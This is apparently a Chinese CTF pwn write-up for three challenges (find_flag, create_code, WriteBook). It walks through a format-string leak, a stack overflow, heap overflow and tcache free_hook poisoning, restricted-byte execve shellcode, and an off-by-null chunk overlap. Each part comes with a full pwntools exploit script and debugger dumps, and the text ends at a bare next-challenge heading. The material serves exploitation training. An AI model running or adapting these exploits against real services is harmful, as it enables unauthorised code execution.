这个题目环境ubuntu20.04，保护全开，程序也是基于栈利用的，存在栈溢出、格式化字符串漏洞，比较简单。
unsigned __int64 sub_132F()
{
char format[32]; // [rsp+0h] [rbp-60h] BYREF
char v2[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Hi! What's your name? ");
gets(format);
printf("Nice to meet you, ");
strcat(format, "!\n");
printf(format); <-------------fmt>
printf("Anything else? ");
gets(v2); <---------------stack over>
return __readfsqword(0x28u) ^ v3;
}
后门函数：
int sub_1228()
{
return system("/bin/cat flag.txt");
}
### 利用思路
1. 通过格式化字符串泄露出程序基址和canary
2. 通过栈溢出覆盖返回地址为程序后门函数。
### exp
# -*- coding: UTF-8 -*- from pwn import *
context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]
io = remote('192.168.41.180', 2001)
# libc = ELF('./libc-2.31.so')
#io = process('./find_flag')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
ur64 = lambda data : u64(data.rjust(8, '\x00'))
sl('%17$paaa%19$p')
ru('you, ')
canary = int(rn(16),16)<<8
print hex(canary)
process = int(ru('!')[5:],16) - 0x0146F
print hex(process)
dbg()
pay = 'a'* 0x38 + p64(canary) + p64(0xdeadbeef)+p64(process + 0x01231)
sla('else? ',pay)
irt()
### 出题思路
1. 格式化字符串泄露地址
2. 栈溢出控制执行流
## PWN -> create_code
### 题目分析
题目仍然是ubuntu20.04，保护全开，
程序有三个功能:add、del、get，没有edit功能。
1.add
2.2.get
3.del
4.bye
>
add函数：
ssize_t sub_13F0()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 buf; // [rsp+8h] [rbp-8h]
v1 = 0;
if ( conut > 46 )
return write(1, "no more data.\n", 0xFuLL);
++conut;
buf = (unsigned __int64)malloc(0x324uLL);
mprotect((void *)(buf & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
write(1, "content: ", 9uLL);
read(0, (void *)buf, 0x3E8uLL); // overflow
qword_4060[conut] = buf;
if ( *(_DWORD *)buf == 0xF012F012 )
{
while ( v1 <= 0x3E7 )
{
if ( *(_BYTE *)(buf + v1 + 4) > 0xFu )
*(_BYTE *)(buf + v1 + 4) = 0;
++v1;
}
qword_4048 = buf + 4;
((void (*)(void))(buf + 4))(); //Restricted backdoor
}
else
{
*(_DWORD *)buf = 4;
}
return write(1, "create successfully.\n", 0x15uLL);
}
创建堆块大小固定，如果buf前四个字节不等于0xF012F012则buf前四个字节等于4，存在堆溢出、还有一个代码执行（代码有要求：buf起始必须等于0xF012F012，每个字节必须小于0xf），如果没有接触过很难利用。
del函数：
ssize_t sub_15F0()
{
ssize_t result; // rax
int i; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]
write(1, "id: ", 4uLL);
result = sub_132A();
v2 = result;
if ( (_DWORD)result != -1 )
{
if ( (int)result <= conut )
{
free((void *)qword_4060[(int)result]); // uaf
--conut;
for ( i = v2; i <= 46; ++i )
qword_4060[i] = qword_4060[i + 1];
result = write(1, "delete successfully\n", 0x14uLL);
}
else
{
result = write(1, "Index out of range.\n", 0x14uLL);
}
}
return result;
}
每删除一个chunk，后面的就会往前移动一位。这里也有个uaf。
### 利用思路
有两个利用方式：一个是通过堆溢出，一个是通过限制的后门制造符合规定的指令集合来利用。
**堆溢出方式**
buf头四个字节等于4就对后续使用freehook造成了影响，不能直接申请去写入`/bin/sh`,只能通过堆溢出来对chunk进行覆盖。
1. 通过堆溢出覆盖chunk size为两倍chunk size，当free后chunk的时候会进入unsorted bin，再申请一个chunk，libc的main_area就会进入下一个已经分配的chunk内，从而进行地址泄露；
2. 之后进行tcache attack，修改freehook为system，这里由于buf前四个字节恒为4，不能一次将参数和system地址改掉，所以要通过堆溢出来进行覆盖。先通过溢出写入freehook-0x10地址和`/bin/sh`,然后再修改freehook为system，最后free掉含`/bin/sh`的chunk就能拿shell。
**有限制的后门方式**
通过构造每个字节大小都不超过0xf的指令集合来getshell。出题人意在让选手将x64架构下的shellcode改写成符合要求的形式，对汇编改写有较高的要求。
总体思想：就是把一个指令拆分成很多指令执行（符合限制要求的指令），通过al存储要写入的字节值(add al,1、add cl,byte PTR
[rdx]对应字节码较小)，cl存储buf的偏移，然后往buf里写字节码，实现shellcode的写入。
详细说一下shellcode指令的构造过程：
看到call buf+4的位置：
.text:0000000000001500 48 89 05 41 2B 00 00 mov cs:qword_4048, rax
.text:0000000000001507 48 8B 15 3A 2B 00 00 mov rdx, cs:qword_4048
.text:000000000000150E B8 00 00 00 00 mov eax, 0
.text:0000000000001513 FF D2 call rdx ; qword_4048 <------- .text:0000000000001515 EB 0A jmp short loc_1521
所以可以根据rdx寄存器改写shellcode，rdx指向改写后的shellcode，al用于写入字节值，cl来索引rdx的内容，从而让al字节值写入。构造目标是一段简单的shellcode:
0x563fc87904a4 push rdx
0x563fc87904a5 pop rdi
0x563fc87904a6 add rdi, 0x30f <-------args = /bin/sh ,需提前构造
0x563fc87904ad xor esi, esi
0x563fc87904af xor edx, edx
0x563fc87904b1 push 0x3b
0x563fc87904b3 pop rax
0x563fc87904b4 syscall <SYS_execve>
转换成字节码为`\x52\x5F\x48\x81\xC7\x0F\x03\x00\x00\x31\xF6\x31\xD2\x6A\x3B\x58\x0F\x05`,发现里面有很多值都超过了0xf的限制，所以这里去除高位保留低位，得到`\x00\x00\x08\x01\x07\x0f\x03\x00\x00\x01\x06\x01\x0e\x08\x0a\x00\x0f\x05`然后高位由符合条件的汇编生成，同样`/bin/sh`也是一样的构造方法。
具体过程和解释可参考exp及其注释内容
**注意**
rip寻址，指向的是当前rip指令地址加上当前指令长度，如：
`add ecx, DWORD PTR [rip+0x20f]`实际赋给ecx的是[rip+0x20f]+6（该指令长度）
### exp
**exp1：堆溢出方式**
from pwn import *
context(arch='amd64',endian='el',os='linux')
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
context.log_level = 'debug'
debug = 1
if debug == 1:
p = process("./create_code")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
else:
p = remote("192.168.41.241",2007)
libc = ELF("./libc.so.6",checksec=False)
#call_libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
elf = ELF("./create_code",checksec=False)
def cmd(cho):
sla("> ",str(cho))
def add(content):
cmd(1)
sleep(0.02)
sa("content: ",content)
def show(idx):
cmd(2)
sla("id: ",str(idx))
def free(idx):
cmd(3)
sla("id: ",str(idx))
def exit():
cmd(4)
#add 1 2 3 4 5 6 7 8
#free 1 2 3 4 5 6
add('a\n') # 0 - 4 3 3 3 2 1 1 1 1 - 4 4
add('a\n') # 1 0 0 - 4 4 3 2 - 3 3 2 2 2* 此处是每次add del的idx索引编号记录
add('a\n') # 2 1 1 0 0 *0 0 - - - 4- 3 3 3
add('a\n') # 3 2 2 1 1 1 - - - - - - - 5
add('a\n') # 4 3 3 2 2 2 1 0 0 0 0 0 0 0
#gdb.attach(p) # 5 *5 4 3 2 2 2 1 1 1
free(0)
add('a'*0x320 + p64(0) + p64(0x661) ) # overwrite chunk0 size to 0x661 by heap overflow
free(0) # free 0x661 chunk0 , free to unsorted bin
add('aaaaaaaa') # add chunk4 to cut unsorted bin ,last_remainder 0x330 chunk,it's fd/bk = main_arena+96
#gdb.attach(p)
show(0) # leak libc by main_arena+96 address
p.recvuntil("\x00\x00")
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00')) -0x1ebbe0
# one = [0xe6c7e,0xe6c81,0xe6c84]
info("libc.address = " + hex(libc.address))
#gdb.attach(p)
add('a\n') # malloc chunk5 by unsorted bin
free(1) # tcache attack
free(0)
free(2)
#gdb.attach(p) #(0x330) tcache_entry[49](3): 0x55d480c8d5d0 --> 0x55d480c8d900 --> 0x55d480c8dc30
add('a'*0x320 + p64(0) + p64(0x331) + p64(libc.sym['__free_hook']-0x10)) # overwrite chunk by heap overflow to modify fd to freehook-0x10
# (0x330) tcache_entry[49](3): 0x55d480c8d900 --> 0x7fc407172b18
add('a\n') #(0x330) tcache_entry[49](3): 0x7fc407172b18
free(1) #(0x330) tcache_entry[49](3): 0x55d480c8d2a0 --> 0x7fc407172b18
add('a'*0x320 + p64(0) + p64(0x331) + "/bin/sh\x00"*4) # overwrite chunk2 fd = '/bin/sh' tcache_entry[49](3):0x7fc407172b18
add('a'*0x10 + p64(libc.sym['system'])) # modify freehook to system
gdb.attach(p)
free(2) # free chunk2
ti()
**exp2：有限制的后门方式**
from pwn import*
context(os='linux', arch='amd64')
#context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]
BINARY = './create_code'
elf = ELF(BINARY)
if len(sys.argv) > 1and sys.argv[1] == 'r':
HOST = "127.0.0.1"
PORT = 8888
s = remote(HOST, PORT)
else:
s = process(BINARY)
#context.terminal = ['tmux', 'splitw', '-h']
#s = gdb.debug(BINARY)
#gdb.attach(s)
s.sendline('1')
print(s.recvuntil("content: "))
flag = b"\x12\xF0\x12\xF0"
# make buf offest
# \x01\x05\x00\x06\x00\x00 buf开头 \x01为cl的偏移,后面cl移动就靠add cl,BYTE PTR [rdx],下相当于add cl,1
buf = asm('''
add DWORD PTR [rip+0x600], eax
''')
# initial ecx = 0
# make xor ecx,ecx code 0x31c9
buf += asm('''
add al, 0x0d
add al, 0x0d
add al, 0x0d
add BYTE PTR [rdx+rax*1], al
add al, 0x01
add BYTE PTR [rdx+rax*1], al
add BYTE PTR [rdx+rax*1], al
add BYTE PTR [rdx+rax*1], al
add BYTE PTR [rdx+rax*1], al
add BYTE PTR [rdx+rax*1], al
''')
# padding 无意义指令 铺垫
buf += asm('''
add cl, BYTE PTR [rdx]
add cl, BYTE PTR [rdx]
add cl, BYTE PTR [rdx+rax*1]
''')
buf += b"\x00"*(0x27-len(buf)) # 长度填充至0x27
# or al,BYTE PTR [rcx] 目的是为上面初始化ecx预留数据
buf += b"\x0a\x01" # shellcode运行到这里生成指令 xor ecx,ecx 字节码0x31c9
# rcx = 0x200 rip+0x30f 指向后面构造的数据0x200，至此buf长度为0x2f
buf += asm('''
add ecx, DWORD PTR [rip+0x30f]
''')
# 真正的shellcode在buf+0x200处
# push rdx # 0x52
buf += asm('''
add al, 1
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
''')
# pop rdi # 0x5f
buf += asm('''
add cl, byte PTR [rdx]
add al, 6
add byte PTR [rdx+rcx*1], al
add al, 1
add byte PTR [rdx+rcx*1], al
''')
# al = 0x30
# add rdi, 0x30f # 4881c70f030000
buf += asm('''
add cl, byte PTR [rdx]
add al, 0xf
add al, 1
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add cl, byte PTR [rdx]
add cl, byte PTR [rdx]
add cl, byte PTR [rdx]
''')
# al = 0x40
# xor esi, esi # 0x31f6
buf += asm('''
add cl, byte PTR [rdx]
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
''')
# al = 0x30
# xor edx, edx # 0x31d2
buf += asm('''
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add al, 1
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
''')
# al = 0x31
# push 0x3b # 0x6a3b
buf += asm('''
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
''')
# al = 0x31
# pop rax # 0x58
buf += asm('''
add cl, byte PTR [rdx]
add al, 0xf
add al, 0xf
add al, 0x9
add byte PTR [rdx+rcx*1], al
''')
# al = 0x58
# make /bin/sh
# rcx = 0x20f 至此buf长度为0xd0 [rip+0x20f] = 0x100
buf += asm('''
add ecx, DWORD PTR [rip+0x20f]
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0x5
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add al, 2
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add cl, byte PTR [rdx]
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
''')
# padding 铺垫 指令长度2
buf += asm('''
add cl, BYTE PTR [rdx]
''')*((0x200-len(buf))//2 - 1)
# padding 指令长度3
buf += asm('''
add cl, byte PTR [rdx+rax*1]
''')
buf += b"\x00\x00\x08\x01\x07\x0f\x03\x00\x00\x01\x06\x01\x0e\x08\x0a\x00\x0f\x05"
buf += b"\x00"*(0x2df-len(buf))
buf += b"\x00\x01"# rcx = 0x30f
buf += b"\x00"*(0x30f-len(buf))
buf += b"\x0f\x02\x09\x0e\x0f\x0d\x02"# /bin/sh
buf += b"\x00"*(0x30f+0x2f-len(buf))
buf += b"\x00\x02"# rcx = 0x200
buf += b"\x00"*(1000-len(buf)) # padding 可去
s.sendline(flag+buf) # 上一步没有padding，此处应变为s.send()
'''
0x563fc87904a4 push rdx
0x563fc87904a5 pop rdi
0x563fc87904a6 add rdi, 0x30f #/bin/sh
0x563fc87904ad xor esi, esi
0x563fc87904af xor edx, edx
0x563fc87904b1 push 0x3b
0x563fc87904b3 pop rax
0x563fc87904b4 syscall <SYS_execve>
'''
s.interactive()
### 注意
1. unsortedbin泄露libc方法，切割unsortedbin让mainarea地址落到下一个已分配的chunk内（通常可以配合堆溢出修改size来实现）。
2. 此题freehook利用被限制（*buf = 4），必须通过溢出来进行地址写入。
3. 触发freehook条件：将freehook修改为system后，free的chunk的fd必须是’/bin/sh’。
### 链接
1. <https://github.com/SkyLined/alpha3>
2. <https://github.com/veritas501/ae64>
3. <https://defuse.ca/online-x86-assembler.htm#disassembly>
## PWN -> WriteBook
### 题目分析
程序仍然是保护全开，编译环境是3ubuntu1~18.04，运行程序：
======[Write a Book!]======
1. New page
2. Write paper
3. Read paper
4. Destroy the page
5. Repick
>
功能new、write、read、destroy，增改查删功能，通过ida查看主要的漏洞点在write函数
unsigned __int64 __fastcall sub_D6C(__int64 a1, int a2)
{
unsigned int v2; // eax
char buf; // [rsp+13h] [rbp-Dh] BYREF
unsigned int v5; // [rsp+14h] [rbp-Ch]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
v5 = 0;
if ( a2 )
{
while ( v5 != a2 )
{
if ( read(0, &buf, 1uLL) != 1 )
{
puts("read error");
exit(-1);
}
if ( buf == '\n' )
break;
v2 = v5++;
*(_BYTE *)(v2 + a1) = buf;
}
*(_BYTE *)(v5 + a1) = 0; // offbynull
}
return __readfsqword(0x28u) ^ v6;
存在off by null漏洞。
new函数：
unsigned __int64 sub_ABC()
{
unsigned int v0; // ebx
unsigned int v1; // ebx
size_t size; // [rsp+Ch] [rbp-24h] BYREF
unsigned int i; // [rsp+14h] [rbp-1Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
for ( i = 0; i <= 0x13 && qword_202060[2 * i]; ++i )
;
if ( i == 20 )
{
puts("Buy a new book");
}
else
{
puts("1. Write on one side?");
puts("2. Write on both sides?");
while ( 1 )
{
while ( 1 )
{
printf("> ");
__isoc99_scanf("%d", (char *)&size + 4);
if ( HIDWORD(size) == 1 )
break;
if ( HIDWORD(size) != 2 )
return __readfsqword(0x28u) ^ v5;
printf("size: ");
__isoc99_scanf("%d", &size);
if ( (unsigned int)size > 0x10F )
{
if ( (unsigned int)size <= 0x1E0 )
{
v1 = 2 * i;
qword_202060[v1] = malloc((unsigned int)size);
if ( !qword_202060[2 * i] )
goto LABEL_20;
LABEL_11:
qword_202060[2 * i + 1] = (unsigned int)size;
printf("page #%d\n", i);
return __readfsqword(0x28u) ^ v5;
}
puts("can you not write that much?");
}
else
{
puts("don't waste pages -.-");
}
}
printf("size: ");
__isoc99_scanf("%d", &size);
if ( (unsigned int)size <= 0xF0 )
break;
puts("too big to fit in a page");
}
v0 = 2 * i;
qword_202060[v0] = malloc((unsigned int)size);
if ( qword_202060[2 * i] )
goto LABEL_11;
LABEL_20:
puts("oh nooooooo! :(");
}
return __readfsqword(0x28u) ^ v5;
}
程序功能：
1. new malloc申请一个size大小的chunk，one page的大小小于0xf0 ，two page大小为0x10f-0x1e0。申请idx规则是从小到大遍历free掉的chunk数组获取相应idx。
2. write 写入content，存在offbynull
3. read 查看page
4. destroy 删除page
### 利用思路
libc-2.27存在tcache，先绕过tcache然后通过offbynull覆盖下一个chunk的prev_size和size
，释放堆块造成堆块的向前合并(unlink)，再次申请回来，泄露libc，接着申请可以造成chunkoverlap，两个page指向同一个chunk，从而可以free掉一个，通过编辑另一个page写入freehook-8地址，再接着申请出freehook-8堆块将freehook改成system，free触发shell。
1. 申请chunk为填充tcache做准备，offbynull覆盖prev_size和size，构造0x100大小的chunk实现和前面的chunk合并
2. free chunk填充tcache，触发unlink，free chunk进入unsorted bin
3. 将tcache申请回来，申请unsorted bin，read page泄露libc
4. 继续申请chunk造成chunk重叠，修改freehook为system。
5. free触发shell。
low |__chunk0__size=0x101__| 7
|__chunk1__size=0x101__| 6 9 10
|__chunk2__size=0x101__| 5
|__chunk3__size=0x101__| 4
|__chunk4__size=0x101__| 3
|__chunk5__size=0x101__| 2
|__chunk6__size=0x101__| 1
|__chunk7__size=0x101__| 0
|__chunk8__size=0x181__|
high |__chunk9__size=0x100(0x181)__| prev_size=0x980
|__chunk__size=0x81__|
|__top_chunk____|
tcache 7->1
chunk0 -> unsorted bin (delete 0)
向前合并至chunk0 (delete 9)
重新申请回tcache chunk0
show(7) -> leak libc
### exp
# coding = utf-8
from pwn import *
context.log_level="debug"
context.terminal = ["/usr/bin/tmux","sp","-h"]
p=process("./writebook")
#elf=ELF("./writebook")
libc=ELF("/home/yrl/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc.so.6")
def add1(size):
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("2. Write on both sides?\n> ")
p.sendline("1")
p.recvuntil("size: ")
p.sendline(str(size))
def add2(size):
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("2. Write on both sides?\n> ")
p.sendline("2")
p.recvuntil("size: ")
p.sendline(str(size))
def delete(index):
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("Page: ")
p.sendline(str(index))
def edit(index,content):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Page: ")
p.sendline(str(index))
p.recvuntil("Content: ")
p.sendline(content)
def show(index):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("Page: ")
p.sendline(str(index))
for i in range(8):
add1(0xf0)
add2(0x178)
add2(0x178)
for i in range(7):
delete(i+1)
edit(8,b'a'*0x170+p64(0x980)) #off by null
'''
Addr: 0x55cd9156ca50
Size: 0x181
Allocated chunk
Addr: 0x55cd9156cbd0
Size: 0x100
Allocated chunk
Addr: 0x55cd9156ccd0
Size: 0x00
pwndbg> x/10gx 0x55cd9156ca50-0x10
0x55cd9156ca40: 0x0000000000000000 0x0000000000000000
0x55cd9156ca50: 0x0000000000000000 0x0000000000000181 #8
0x55cd9156ca60: 0x6161616161616161 0x6161616161616161
0x55cd9156ca70: 0x6161616161616161 0x6161616161616161
0x55cd9156ca80: 0x6161616161616161 0x6161616161616161
pwndbg>
0x55cd9156ca90: 0x6161616161616161 0x6161616161616161
0x55cd9156caa0: 0x6161616161616161 0x6161616161616161
0x55cd9156cab0: 0x6161616161616161 0x6161616161616161
0x55cd9156cac0: 0x6161616161616161 0x6161616161616161
0x55cd9156cad0: 0x6161616161616161 0x6161616161616161
pwndbg>
0x55cd9156cae0: 0x6161616161616161 0x6161616161616161
0x55cd9156caf0: 0x6161616161616161 0x6161616161616161
0x55cd9156cb00: 0x6161616161616161 0x6161616161616161
0x55cd9156cb10: 0x6161616161616161 0x6161616161616161
0x55cd9156cb20: 0x6161616161616161 0x6161616161616161
pwndbg>
0x55cd9156cb30: 0x6161616161616161 0x6161616161616161
0x55cd9156cb40: 0x6161616161616161 0x6161616161616161
0x55cd9156cb50: 0x6161616161616161 0x6161616161616161
0x55cd9156cb60: 0x6161616161616161 0x6161616161616161
0x55cd9156cb70: 0x6161616161616161 0x6161616161616161
pwndbg>
0x55cd9156cb80: 0x6161616161616161 0x6161616161616161
0x55cd9156cb90: 0x6161616161616161 0x6161616161616161
0x55cd9156cba0: 0x6161616161616161 0x6161616161616161
0x55cd9156cbb0: 0x6161616161616161 0x6161616161616161
0x55cd9156cbc0: 0x6161616161616161 0x6161616161616161
pwndbg>
0x55cd9156cbd0: 0x0000000000000980 0x0000000000000100 #181->100
'''
edit(9,b'a'*0xf0+p64(0)+p64(0x81))
'''
Addr: 0x557aed61ca50
Size: 0x181
Allocated chunk
Addr: 0x557aed61cbd0
Size: 0x100
Allocated chunk | PREV_INUSE
Addr: 0x557aed61ccd0
Size: 0x81
Top chunk | PREV_INUSE
Addr: 0x557aed61cd50
Size: 0x202b1
pwndbg> x/10gx 0x557aed61ca40
0x557aed61ca40: 0x0000000000000000 0x0000000000000000
0x557aed61ca50: 0x0000000000000000 0x0000000000000181
0x557aed61ca60: 0x6161616161616161 0x6161616161616161
0x557aed61ca70: 0x6161616161616161 0x6161616161616161
0x557aed61ca80: 0x6161616161616161 0x6161616161616161
pwndbg>
0x557aed61ca90: 0x6161616161616161 0x6161616161616161
0x557aed61caa0: 0x6161616161616161 0x6161616161616161
0x557aed61cab0: 0x6161616161616161 0x6161616161616161
0x557aed61cac0: 0x6161616161616161 0x6161616161616161
0x557aed61cad0: 0x6161616161616161 0x6161616161616161
pwndbg>
0x557aed61cae0: 0x6161616161616161 0x6161616161616161
0x557aed61caf0: 0x6161616161616161 0x6161616161616161
0x557aed61cb00: 0x6161616161616161 0x6161616161616161
0x557aed61cb10: 0x6161616161616161 0x6161616161616161
0x557aed61cb20: 0x6161616161616161 0x6161616161616161
pwndbg>
0x557aed61cb30: 0x6161616161616161 0x6161616161616161
0x557aed61cb40: 0x6161616161616161 0x6161616161616161
0x557aed61cb50: 0x6161616161616161 0x6161616161616161
0x557aed61cb60: 0x6161616161616161 0x6161616161616161
0x557aed61cb70: 0x6161616161616161 0x6161616161616161
pwndbg>
0x557aed61cb80: 0x6161616161616161 0x6161616161616161
0x557aed61cb90: 0x6161616161616161 0x6161616161616161
0x557aed61cba0: 0x6161616161616161 0x6161616161616161
0x557aed61cbb0: 0x6161616161616161 0x6161616161616161
0x557aed61cbc0: 0x6161616161616161 0x6161616161616161
pwndbg>
0x557aed61cbd0: 0x0000000000000980 0x0000000000000100
0x557aed61cbe0: 0x6161616161616161 0x6161616161616161
0x557aed61cbf0: 0x6161616161616161 0x6161616161616161
0x557aed61cc00: 0x6161616161616161 0x6161616161616161
0x557aed61cc10: 0x6161616161616161 0x6161616161616161
pwndbg>
0x557aed61cc20: 0x6161616161616161 0x6161616161616161
0x557aed61cc30: 0x6161616161616161 0x6161616161616161
0x557aed61cc40: 0x6161616161616161 0x6161616161616161
0x557aed61cc50: 0x6161616161616161 0x6161616161616161
0x557aed61cc60: 0x6161616161616161 0x6161616161616161
pwndbg>
0x557aed61cc70: 0x6161616161616161 0x6161616161616161
0x557aed61cc80: 0x6161616161616161 0x6161616161616161
0x557aed61cc90: 0x6161616161616161 0x6161616161616161
0x557aed61cca0: 0x6161616161616161 0x6161616161616161
0x557aed61ccb0: 0x6161616161616161 0x6161616161616161
pwndbg>
0x557aed61ccc0: 0x6161616161616161 0x6161616161616161
0x557aed61ccd0: 0x0000000000000000 0x0000000000000081
0x557aed61cce0: 0x0000000000000000 0x0000000000000000
0x557aed61ccf0: 0x0000000000000000 0x0000000000000000
0x557aed61cd00: 0x0000000000000000 0x0000000000000000
pwndbg>
0x557aed61cd10: 0x0000000000000000 0x0000000000000000
0x557aed61cd20: 0x0000000000000000 0x0000000000000000
0x557aed61cd30: 0x0000000000000000 0x0000000000000000
0x557aed61cd40: 0x0000000000000000 0x0000000000000000
0x557aed61cd50: 0x0000000000000000 0x00000000000202b1
'''
#gdb.attach(p)
delete(0) #unsorted bin
delete(9) #qian xiang he bing
'''
pwndbg> x/10gx 0x5566fdfa8000+0x202060
0x5566fe1aa060: 0x0000000000000000 0x00000000000000f0
0x5566fe1aa070: 0x0000000000000000 0x00000000000000f0
0x5566fe1aa080: 0x0000000000000000 0x00000000000000f0
0x5566fe1aa090: 0x0000000000000000 0x00000000000000f0
0x5566fe1aa0a0: 0x0000000000000000 0x00000000000000f0
pwndbg>
0x5566fe1aa0b0: 0x0000000000000000 0x00000000000000f0
0x5566fe1aa0c0: 0x0000000000000000 0x00000000000000f0
0x5566fe1aa0d0: 0x0000000000000000 0x00000000000000f0
0x5566fe1aa0e0: 0x00005566feb74a60 0x0000000000000178
0x5566fe1aa0f0: 0x0000000000000000 0x0000000000000178
'''
for i in range(7):
add1(0xf0)
#gdb.attach(p)
add1(0xf0) #7 new unsorted bin
show(7)
p.recvuntil("Content: ")
libc_base = u64(p.recv(6).ljust(8,"\x00")) - (0x00007faf52301230-0x7faf51f15000)
free_hook=libc_base+libc.sym['__free_hook']
print "libc_base : "+hex(libc_base)
print "free_hook : "+hex(free_hook)
'''
pwndbg> x/10gx 0x202060+ 0x55c820fd6000
0x55c8211d8060: 0x000055c821adc960 0x00000000000000f0 #0
0x55c8211d8070: 0x000055c821adc860 0x00000000000000f0
0x55c8211d8080: 0x000055c821adc760 0x00000000000000f0
0x55c8211d8090: 0x000055c821adc660 0x00000000000000f0
0x55c8211d80a0: 0x000055c821adc560 0x00000000000000f0
pwndbg>
0x55c8211d80b0: 0x000055c821adc460 0x00000000000000f0
0x55c8211d80c0: 0x000055c821adc360 0x00000000000000f0 #6
0x55c8211d80d0: 0x000055c821adc260 0x00000000000000f0 #7
0x55c8211d80e0: 0x000055c821adca60 0x0000000000000178 #8
0x55c8211d80f0: 0x0000000000000000 0x0000000000000178
'''
add1(0xf0)
'''
pwndbg> x/10gx 0x202060+ 0x5573ee629000
0x5573ee82b060: 0x00005573eefd7960 0x00000000000000f0 #0
0x5573ee82b070: 0x00005573eefd7860 0x00000000000000f0
0x5573ee82b080: 0x00005573eefd7760 0x00000000000000f0
0x5573ee82b090: 0x00005573eefd7660 0x00000000000000f0
0x5573ee82b0a0: 0x00005573eefd7560 0x00000000000000f0
0x5573ee82b0b0: 0x00005573eefd7460 0x00000000000000f0 #5
0x5573ee82b0c0: 0x00005573eefd7360 0x00000000000000f0 #6
0x5573ee82b0d0: 0x00005573eefd7260 0x00000000000000f0 #7
0x5573ee82b0e0: 0x00005573eefd7a60 0x0000000000000178 #8
0x5573ee82b0f0: 0x00005573eefd7360 0x00000000000000f0 #9
'''
# delete(6) # 6==9
# #gdb.attach(p)
# edit(9,p64(free_hook-0x10))
# add1(0xf0) # 6
# add1(0xf0) # 10
# #add1(0xf0)
# #gdb.attach(p)
# edit(10,"/bin/sh\x00"*2+p64(libc_base+libc.sym['system']))
# edit(6,"/bin/sh\x00"*2)
# delete(6)
delete(6) # 6==9
#gdb.attach(p)
edit(9,p64(free_hook-0x8))
add1(0xf0) # 6
add1(0xf0) # 10 freehook chunk
#add1(0xf0)
#gdb.attach(p)
edit(10,"/bin/sh\x00"+p64(libc_base+libc.sym['system']))
delete(10)
p.interactive()
## Pwn -> HelloJerry
